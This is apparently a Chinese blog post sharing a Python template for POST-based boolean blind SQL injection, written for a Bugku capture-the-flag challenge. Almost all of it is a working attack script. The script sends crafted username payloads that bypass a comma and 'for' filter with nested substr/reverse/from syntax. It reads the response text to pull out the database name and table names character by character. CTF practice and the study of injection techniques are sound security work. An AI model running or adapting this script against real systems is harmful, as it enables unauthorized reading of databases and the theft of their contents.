基于post方法的sql布尔型盲注模板

#记录下bugku中的一道布尔盲注题目“sql注入”
import requests as req
#Post 类型的bool盲注
#过滤了','没法用mid,substr,left 截取 试试substr(()from()for())

url="http://114.67.246.176:17306/"
#bugku项目的url地址
s=req.session()
#创建session对象
select="database()"
select2="select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查询语句
res=''
#结果保存在res
#i是枚举字符的位数,从第一位开始枚举
#ascii从a开始枚举到z
for i in range(1,100):
    for ascii in range(32,128):
        data = {
            'username':f"a'or(ord(substr(reverse(substr(({select})from({i})))from(9-{i})))<>{ascii})#",
            'password': 'asd'
        }
        #对post的数据username进行sql盲注
        #这里由于有waf过滤掉了',','for'等字符使众多方法失效
        #构造payload:or(ord(substr(reverse(substr(({select})from({i})))from(9-{i})))<>{ascii})#
        #里面的9是事先测出的database()的长度
        r=s.post(url=url,data=data)
        if "username does not exist!" in r.text:
            res+=chr(ascii)
            print(res)
            break
        if ascii ==127:
            exit(0)


版权声明:本文为qq_37301470原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。